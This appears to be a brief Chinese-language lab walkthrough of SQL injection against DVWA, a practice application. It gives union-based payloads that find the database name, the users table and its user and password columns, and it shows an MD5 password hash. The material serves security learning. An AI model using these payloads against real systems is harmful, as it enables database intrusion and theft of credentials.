DVWA之SQL Injection

1.首先,我们发现有个输入框,判断是否存在注入点

输入1:

DVWA之SQL Injection

输入1':

DVWA之SQL Injection

输入1 and 1=1:

DVWA之SQL Injection

输入1 and 1=2:

DVWA之SQL Injection

 

2:猜测sql语句:

DVWA之SQL Injection

3:**:

首先爆库:1' union select 1,database()

DVWA之SQL Injection

备注:union的使用条件:

DVWA之SQL Injection

猜测会有一张users表

爆users表的列:

1' union select 1,table_name from information_schema.tables where table_name='users'#

DVWA之SQL Injection

**user和password字段内容:

1' union select 1,concat(user,password) from users#

DVWA之SQL Injection

密文为md5加密,以

81dc9bdb52d04dc20036dbd8313ed055为例:

DVWA之SQL Injection

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